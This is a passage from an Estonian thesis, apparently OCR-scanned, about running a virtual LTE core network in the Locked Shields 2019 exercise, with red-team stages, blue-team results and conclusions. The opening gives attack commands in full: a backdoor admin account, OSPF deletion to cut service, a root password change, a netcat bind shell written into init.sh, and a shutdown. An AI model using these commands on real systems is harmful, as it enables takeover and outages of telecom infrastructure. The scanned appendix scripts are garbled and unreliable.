o Eesmérk: demonstreerida vOimet kontrollida operaatori infrastruktuuri

tehes muudatusi vPGW konfiguratsioonis;

o Eesmark saavutatakse muutes naiteks administraatori konto parooli voi

lisades stisteemi uus administraatori konto jargnevalt:
= Saavutades labi eelmise etappi ligipaés CLI liidesele vPGW-s;
= Jooksutades jargmiseid késke.

= Administraatori parooli muutmiseks:
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change-password

=  Uue kasutaja loomiseks:

Config
system authentication user iamheretohackyou password *******xxx%
nacm groups group system-admin user-name iamheretohackyou
nacm groups group ericsson-support user-name iamheretohackyou
nacm groups group system-security-admin user-name iamheretohackyou
commit
end
= Kui administraatori parool saab muudetud, jooksutatakse

kasklused:

Who
show running-config interfaces interface OAM-loopback@OAM
show system-state clock

= Kui uus kasutaja sai loodud, jooksutatakse jargmiseid késklusi:

show running-config interfaces interface OAM-loopback@OAM
show system-state clock
show running-config nacm groups group system-admin

o FEtapp #3

o Eesmérk: mojutada mobiilsideoperaatori klientide kaideldavust ning
demonstreerida operaatori infrastruktuuri tle kontrolli saavutamist

hairides telekommunikatsiooni teenuste t66d vPGW seadistusi muutes.

o Eesmérk saavutatakse muutes OSPF (open shortest path first) seadistust

jargnevalt:
= Esmalt saadakse CLI juurdepads vVPGW-sse;

= Kui ollakse sisse logitud SGi vorguliidese pealt, sisestatakse:

Conf

no contexts context SGi router ospf

no contexts context SGi router ospf3

commit

end

show running-config interfaces interface SGi-1@SGi
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show system-state clock
show running-config contexts context OAM

= Kui ollakse sisse logitud OAM vdrguliidese pealt, sisestatakse:

Conf

no contexts context OAM router ospf

no contexts context OAM router ospf3

commit

end

show running-config interfaces interface OAM-loopback@OAM
show system-state clock

show running-config contexts context SGi

o Tulemus: abonendi vorguliihendus on kadunud (levitugevus abonendi

ekraanil on tuhi).
e FEtapp#4

o Eesmark: mdjutada veelgi mobiilsideoperaatori klientide kaideldavust
ning demonstreerida operaatori infrastruktuuri Gle kontrolli saavutamist

hairides telekommunikatsiooni teenuste t66d vVPGW seadistusi muutes.
o Eesmark saavutatakse:
= Saades ligipaasu root digustele Linuxi operatsioonisiisteemis;

=  Muutes ara root salasona:

echo -e 'newhackerroottunnus\nnewhackerroottunnus' | passwd root
* Muutes init.sh faili jargnevalt:
chattr -i /etc/init.sh

echo 'echo '#!/bin/bash' > /etc/init.sh' > /etc/init.sh

echo 'while true; do nc -e /bin/bash -1lp 80; done &' >> /etc/init.sh

= Lilitades 18puks VPGW vélja:

shutdown -h now
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Peale tagauste lisamist tuli hakata kdiki vPGW-sid testima. See oli kokkuvottes nédalate
pikkune protsess, kuna esialgsetel katsetustel ei to6tanud tagauksed tihti nii, nagu nad
peaksid. See tdhendas virtuaalmasinate algoleku taastamist ja tagauste imberseadistamist
ning uuesti lisamist. Punane meeskond tegeles tagauste implementeerimise ja
katsetamisega; t00 autor seadistas virtuaalmasina vorguliideseid ja tagas virtuaalmasinate

tookorras oleku.

2019. aasta mértsi keskel toimunud proovidppusel “test run sai kiimne sinise meeskonna
stisteemidega Gppuse valmisolevad etapid l&bi katsetada. Siniseid meeskondasid
mehitasid NATO liikmesriikide erinevad IT tudengid ja vabatahtlikud, kes dppuse
I6ppversioonist osa ei votnud. Kahe paevasel prooviperioodil tuli 16puks kahel korral kdik
masinad algseisundisse viia ja tagauksed uuesti lisada. Ettevalmistusperioodi 16puks saadi

kdik masinad vajalikus seadistuses tddle.

4.2 Oppuse kaik

Punase meeskonda kuuluvatelt LTE spetsialistidelt saadud tagasisides markisid nad, et
rinnakute labiviimine oli Usnagi lihtne, kuna enamik riinnakud olid &ra skriptitud, mis
tegi nende rakendamise Kiireks ja mugavaks ning jattis rohkem aega raskemate riinnakute
elluviimiseks. Spetsialistid markisid, et kokkuvotvalt olid siniste meeskondade
kaitseoskused alla ootuste madalad. Vaga paljud meeskonnad piirdusid ainult
marsruutimiste ja tulemddri reeglite muutmisega, mis ei kaitsenud neid aga olukorra

vastu, kus hakati kasutama abonente vVPGW juurdepdédsupunktidena.

Oppusel osales 23 sinist meeskonda. Punase meeskonna poolt antud etapipdhise

tagasiside alusel saab tldise statistikana valja tuua jargneva:
Esimene etapp

Neliteist meeskonda ei suutnud edukalt turvata IPv4 SSH Uhendusi;

Uks meeskond ei turvanud IPv6 SSH (ihendust;

Uks meeskond ei turvanud valjaminevaid Gihendusi;

Neli meeskonda ei tuvastanud “netcat*-i;
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Kolm meeskonda suutsid kokkuvdttes edukalt turvata vVPGW esimeses etapis.

Teine etapp

Uheksa meeskonda ei suutnud edukalt turvata IPv4 SSH Ghendusi;

Neljal meeskonnal oli etapi alguses endiselt algupérane administraatori parool;
Neli meeskonda ei turvanud IPv6 riinnakuid;

Viis meeskonda ei tuvastanud “netcat-i;

Kolm meeskonda parandas mérgatavalt enda susteemi Kkaitset peale esimest

etappi;

Neli meeskonda suutsid kokkuvdttes edukalt turvata vPGW teises etapis.

Kolmas etapp

Kaheksa meeskonda ei suutnud edukalt turvata IPv4 SSH thendusi;
Neli meeskonda ei turvanud IPv6 riinnakuid;

Seitse meeskonda ei tuvastanud “netcat®-i;

Kaks meeskonda ei turvanud véljaminevaid Uhendusi;

Uhe meeskonna VPGW polnud etapi ajal vrgus;

Uks meeskond suutis edukalt turvata vPGW kolmandas etapis. Ulejaanud
keskendusid valdavalt tulemddri ja marsruutimise reeglitele, mis ei olnud enam

selles etapis efektiivsed.

Neljas etapp

Viis meeskonda ei suutnud edukalt turvata IPv4 SSH Uhendusi;

Kahel meeskonnal oli etapi alguses endiselt alguparane administraatori parool;
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e Uhe meeskonna VPGW polnud etapi ajal vdrgus;
e Kaks meeskonda ei turvanud IPv6 riinnakuid;
e Uksteist meeskonda ei tuvastanud “netcat*-i:

e Uks meeskond ei turvanud viljaminevaid ihendusi;

Uks meeskond suutis edukalt turvata vPGW neljandas etapis ehk Gppuse 16pus.

Punane meeskond ei katsetanud kdiki riindevektoreid igas etapis kdikide meeskondade
peal. Hakati jarjest erinevaid rindevektoreid proovima ning kui leiti esimene ndrkus,
millega juurdepads endale tekitada, siis tUldjuhul sellega piirduti. Sellest tulenevalt on
etappide l0ikes ka statistika erinev — naiteks kui esimeses etapis prooviti (heksa
meeskonna puhul 1dbi IPv6 SSH sisse saada, siis teises etapis prooviti seda
neljateistkimne meeskonna puhul. Teisel paeval polnud (ihe meeskonna vVPGW kordagi

vOrgus, ehk seda ei saanud ei riinnata ega kaitsta.
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5 Tuumikvorgu kaitsmine

Sinistel meeskondade eesmark oli kompromiteeritud susteemid dra turvata ja to6os hoida.
Igal sinisel meeskonnal oli 6ppusel kokku umbes 150 erinevat susteemi, mida turvata.
Tuumikvork oli sellest ainult ks vaike, kuid siiski oluline osa — selle toimimisest sdltus
osade teiste stisteemide t66. Ule mobiilivorgu olid tihendatud abonendid VoIP kdneside

tarbeks ning LTE modemid laevadel kaldaga andmeside hoidmiseks.

5.1 Oppuseks ettevalmistumine

Sinistel meeskondadel oli Gldiselt Gpriski véhe aega ja vBimalusi dppusega eelnevalt
tutvuda. Oppusele eelnevatel nédalatel tehti neile rohelise meeskonna poolt neli

Webinari:
e Webinar #1 - Stisteemide ja dppuse vorgu tutvustus;
e Webinar #2 — Erisusteemide tutvustus (mh ka Ericssoni stisteemid);
e \Webinar #3 — Strateegia,;
e Webinar #4 — Viimane ettevalmistus.
Oppusele eelneval nidalal said siniste meeskondade liikmed kaheks paevaks piiratud
ligipadsu Gppuse keskkonnale, et endale uldine arusaam tekitada.
5.2 Oppuse kaik

Oppuse mdlema paeva I8pus andsid kdik sinised meeskonnad jooksvalt tagasisidet,
kuidas neil parasjagu olukord dppusel on. Rohelise meeskonna liikmena saab t66 autor
Oelda, et paaril sinisel meeskonnal polnud dppuse alguses kdige paremat Ulevaadet,
millist tuumikvdrgu komponenti nad kaitsma peavad ja millist mitte. Sellest sai jareldada,
et osad meeskonnad pole ehk mingil pohjusel endale vorgukaarti tapselt selgeks teinud

vOi on seal moni komponent piisavalt hasti seletamata jaanud. Keset dppust tekkis osadel
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sinistel meeskondadel ettekujutus, et nende tuumikvork ei t66ta kuna viga on rohelise
meeskonna hallatavas infrastruktuuris, mitte punase meeskonna riinnakute tagajargedes.
See vois teatud madral kajastuda tulemustes, olles potentsiaalne faktor, miks keskenduti
rohkem tahelepanu teistele vérgukomponentidele. Jargnevalt kajastatakse paeva pdhiselt

sinistelt meeskondadelt saadud tagasisidet.
Esimene péev
e Seitsmel meeskonnal puudub téielikult arusaam, mis tuumikvdrgus toimumas on;

¢ Neli meeskonda on téheldanud, et tuumikvdrgus toimub midagi ebakorraparast,

kuid pole teada, mis seda pdhjustab;

e Viiel meeskonnal on arusaam, mis tuumikvorgus toimub kuid pole teada, kuidas

olukorda parandada;
e Neli meeskonda suutis omal hinnangul probleemi fikseerida ja lahendada;
e Kolm meeskonda jattis vastamata.
Teine paev

e Kolmeteistkimnel meeskonnal puudub tdielikult arusaam, mis tuumikvorgus

toimumas on;

e Viiel meeskonnal on arusaam, mis tuumikvorgus toimub kuid pole teada, kuidas

olukorda parandada;
¢ Kolm meeskonda suutis omal hinnangul probleemi fikseerida ja lahendada;

e Kaks meeskonda jattis vastamata.
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6 Oppuse tulemused

Siniste meeskondade tagasisidest on ndha, et meeskonnad muutuvad teise paeva jooksul
palju pessimistlikumaks oma olukorra suhtes. Esimesel paeval olid kull punase
meeskonna runded lihtsakoelisemad, kuid ka nende tdrjumisega enamik siniseid
meeskondasid hakkama ei saanud. Teisel péeval, kui kasutati keerukamaid
rindevektoreid, polnud rohkem kui pooltel sinistel meeskondadel arusaama, mis nende

tuumikvdrgus uldse toimumas on.

Tasub markida, et paljud sinised meeskonnad arvasid oma olukorda pidevalt reaalsest
olukorrast paremaks olevat, kuna vVPGW tundus téétavat ja méned turvandrkused said
likvideeritud. Seda eriti esimese kahe etapi jooksul. Vorreldes punase ja siniste
meeskondade tagasisidet vodib jareldada, et sinised meeskonnad, kes suutsid moned
tagauksed likvideerida, voisid muutuda liiga enesekindlaks ja jatta slsteemi edasise

uurimise unarusse, keskendudes rohkem dppuse teistele aspektidele.

Meeskondade tagasisidest tuleb vélja, et ainult ks sinine meeskond suutis dppuse
labildikes end punase meeskonna runnakute eest kaitsta ning oma stisteemis olevad
turvandrkused vajalikul maaral likvideerida. See oli meeskond, kuhu kuulusid ka paar
telekommunikatsiooni  erialateadmistega  spetsialisti.  Antud  tulemusest saab
uurimisktsimus kindla vastuse — telekommunikatsiooni alased eriala teadmised on
tuumikvorgu edukaks kaitsmiseks vajalikud. Olgugi, et sarnaselt koht- ja laivérguga
tegeleb LTE tuumikvork samuti andmepakettide vahetamisega, on need stisteemid siiski
piisavalt erinevad. See tdhendab, et puhtalt koht- ja laivorgu kiberkaitse spetsiifika

tundmisest LTE tuumikvorgu kaitsmiseks siiski ei piisa.
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[ Alternatiivid ja ettepanekud

Antud t60 kirjutamise kaigus sai autor hea praktilise tlevaate, kuidas ldises, kuid ka
tehnilises vaates LTE andmeside t66tab ning kuidas on tuumikvork tles ehitatud.
Tuumikvdrgu virtualiseerimise ja Gppusel rakendamise kaigus sai autor teoreetilistele
teadmiste kinnitamiseks praktilist kogemust, tegeledes nii vPGW-de seadistamise kui ka

rindevektorite uurimisega.

Virtuaalne tuumikvork on véga ressursimahukas susteem, kuna EPC on mdeldud
operaatorite juurde rakendamiseks, kus abonente on sadades tuhandetes. Isegi hoides igas
VPGW-s kuue virtuaalse masina asemel t60s nelja ja vahendades ressursikasutust labi
selle ligikaudu poole vorra, oli tuumikvorgus 23 meeskonna t60s hoidmine
andmekeskuses endiselt margatav. Olgugi, et Kuberharjutusvalja andmekeskus sai sellise
koormusega probleemideta hakkama, tasub silmas pidada, et vadiksema mastaabiga
Oppustel vaib olemasolev ressurss omad piirid seada. Sellisel juhul tuleks pdhjalikult
analutsida dppusel osalevate siniste meeskondade arvu, et leida tasakaal ressursikasutuse
ja pakutava teenuse kvaliteedi vahel. L&htudes antud t66s vélja toodud VEPC
arhitektuurist, saaks jargnevalt uurida, kas tuumikvorku oleks vdimalik kiberdppustel
virtualiseerida vabavaralisel tarkvaral, eesmérgiga hoida kokku vajaminevat
andmekeskuse mahtu ja protsessorite joudlust. Kull aga jareldab autor selle t66
kontekstis, et Ericssoni pakutud lahendus VMware platvormil on antud dppuse néitel

testitud ja tootav.

Tulevikus virtuaalse tuumikvorgu kiiberdppusesse planeerimisel soovitab autor sinistesse
meeskondadesse kaasata rohkem telekommunikatsiooni valdkonnas to6tavaid isikuid,
kuna reaalses elus toimuva rinnaku puhul peaksid erinevad ametkonnad koost66d
tegema. Mida varem laiap6hjalist koosto6d erinevate stsenaariumite labimangimise néol
alustada, seda kindlamini saaksid erinevad ametkonnad reaalsetele rinnakutele
reageerida. Antud Oppuse kontekstis tuli selgelt esile, et vdga head teadmised koht- ja
laivbrgu turbes ei taga LTE tuumikvdrgu kaitsmises edu. Tugevad
telekommunikatsioonialased erialateadmised on vajalik baas, mille peale saab hakata

mobiilsidevorgu kaitsmiseks vajalike teadmisi koguma.
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Tasub aga meeles pidada asjaolu, et selle t66 kontekstis harjutati tuumikvorgu kaitset
siiski eelnevalt kompromiteeritud susteemis. On véga ebatdenéoline, et rindaja suudaks
reaalelus pakutava LTE teenuse turbest end l&abi murda. Eduka riinde alus peaks algama
sisetddst mdne teenuspakkuja tdolise poolt ning sisteemi turvalisuse murdmiseks
kasutatavat meetodit on vaga raske ennustada. Sellest tulenevalt saaks jargnevatel
kiberdppustel néditeks uurida, kui edukad on erinevad riindevektorid ja kaitsmismeetodid
natuke véhem kompromiteeritud tuumikvdrgu puhul. Kindlasti tuleb sellisel juhul jélgida,
et potentsiaalselt tundlik info oleks nduetekohaselt kaitstud ning, et dppus séilitaks oma
eesmargi — olles piisavalt keeruline, kuid siiski labitav, tdstmaks kiiberturbe spetsialistide
kompetentsi.
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8 Kokkuvote

Ké&esoleva to6 eesmark oli valja selgitada, kas telekommunikatsiooni erialateadmisteta
klberturbe spetsialistid suudavad kompromiteeritud virtuaalset LTE tuumikvdrku
turvata. Selle jaoks aitas t60 autor Ericssonil maailma suurimasse tehnilisse
klberkaitsedppusesse Locked Shields 2019 integreerida virtuaalse LTE tuumikvorgu,
mida erialateadmistega punane meeskond riindas ja NATO kuberturbe spetsialistidest
koosnevad sinised meeskonnad kaitsesid.

T60s anti Ulevaade kiberkaitsedppuse Locked Shields 2019 ldisest tlesehitusest ning
Kirjeldati, kuidas Ericssoni virtuaalne LTE tuumikvdrk @Gppusesse integreeriti. T60
kajastas virtuaalse LTE tuumikvorgu struktuuri, vajalikke komponente ning tldiseid
t0OpOhimotteid.

T60s on vélja toodud dppuse kéigus kogutud tagasiside nii rindavalt kui ka kaitsvatelt
meeskondadelt, kirjeldades nende vaatenurgast, kuidas meeskondade IGikes Oppus
kulges. Tagasisidet analliisides saab selle Oppuse kontekstis jareldada, et
telekommunikatsiooni  erialateadmisteta  kiberturbe  spetsialistid ei  suuda

kompromiteeritud virtuaalset LTE tuumikvorku kaitsta.
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Lisa 1. Oppuse ettevalmistamise ajajoon

Ettevalmistuse algus - 2018 September
(

IPC - 2018 november
(

MPC - 2019 jaanuar
(

Test run - 2019 marts
(

FPC - 2019 marts
(

Locked Shields 2019 - Aprill

Locked Shields 2019 ettevalmistusperioodi kindlat algust on keeruline defineerida, kuid
tldjoontes vGib selleks lugeda 2018 aasta stigise algust. Ettevalmistusperioodil toimus
kolm planeerimiskonverentsi: IPC (Initial planning conference), MPC (Main planning
conference) ja FPC (Final planning conference), mille jaoks kutsuti Tallinnasse kdik
Oppuse meeskonnad peale siniste. Planeerimiskonverentsidel kaardistati ettevalmistuse
hetkeolukorrad, tegeleti kiisimuste ja probleemide lahendamisega ning seati edasised
tlesanded meeskondade kaupa. Mértsis toimus “Test run®, mille jaoks seati kogu dppus
tollases hetkeseisus ules ja katsetati kdikide stisteemide t60d, eesmérgiga tuvastada veel

potentsiaalseid probleeme, mida likvideerida enne Locked Shields 2019 algust.
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Lisa 2. Virtuaalse LTE tuumikvorgu vorguskeem Locked

Shields 2019 kontekstis

IP aadressid ja domeeninimed on varjatud.

aitnum LTE-CLIENTS

DHCPVA/v6 Mobile LTE Clients In \ -

Execution Site

7001,
Hz L3¢ C—]
a—7 e
I —..ihﬂi——-—‘ J Physical 4G/LTE Base station
S equipment responsible for
700MHz LTE Network

eNodeB creating radio network
fw-ship.ship.XX

Service IPs: %.

Service IPs: l

Service IPs:
a VPGWXX vApp

aleale o =
cIseQ :IPN over hss Subscriber Server
public internet

Gamenet &
Internet Access
For BTXX 4G/LTE Clients
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Lisa 3. Shell skript vPGW IP aadresside ja APN-ide

seadistamiseks

IP aadressid on osaliselt varjatud.

# user input checking

if [[ -n ${1--08-91-F 11 i} [ ${#l1} -ne 2 1

then
echo "Error: input $1 is not numeric or is not in 2 digits form"
exit 1

else

cp ericsson.xM]l ericsson.xMl.original

BT_NR_Xx=%1
BT_NR_X=$(echo $1 ! sed 's/"B=/~') # remove leading B for teams A1-A9

sed -i s~/ . ~. 797 . .$BT_NR_X-g" ericsson.xml

sed -i s/ N ~:1797 : :$BT_HR_X-g" ericsson.xml
sed —-i "s/ NL N, “ L$BT_NR_X. #g" aricsson.xml

sed -i s~/ . ~. 79~ . .4%BT_NR_X-rg" ericsson.xml

sed —-i "s/VPGH79-uvPGH$BT_NR_XX-g" ericsson.xmMl

sed —-i "s/apn79-apn$BT_NR_XX-/g" ericsson.xml

echo "Replacement done for team $BT_NR_XX"
fi
root@uPGH7S[RPSHL1Y: #flash> _
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Lisa 4. Kasud vPGW vorguliideste seadistamiseks ja

litsentside lisamiseks

IP aadressid ja failinimed on varjatud.

1 config

2 no interfaces interface management

3 no interfaces interface management@local
4 commit

interfaces interface management@local
ipForward

< 13-interface context local

10 13-interface ip mtu 1500

11 13-interface ip address addr-primary addr 3000, 3000 3000 3000 HY
12 commit

14 interfaces interface management

16 ethernetCsmacd

18 ethernet bind-interface intf-name management@local
1Lz, ethernet bind-interface intf-ctx local

20 commit

21 end

show 1lm key-file-management report-progress

1Im key-file-management install-key-file uri file:{{{flash{XX—X—XXX—X_XXXXXX_XXXXXX.xml password XXX

1lm refresh-license-inventory

1lm key-file-management install-key-file uri file:{{{flash{XX—X—XXX—X_XXXXXX_XXXXXX_X.xml password XXX

31 show fm alarﬂ
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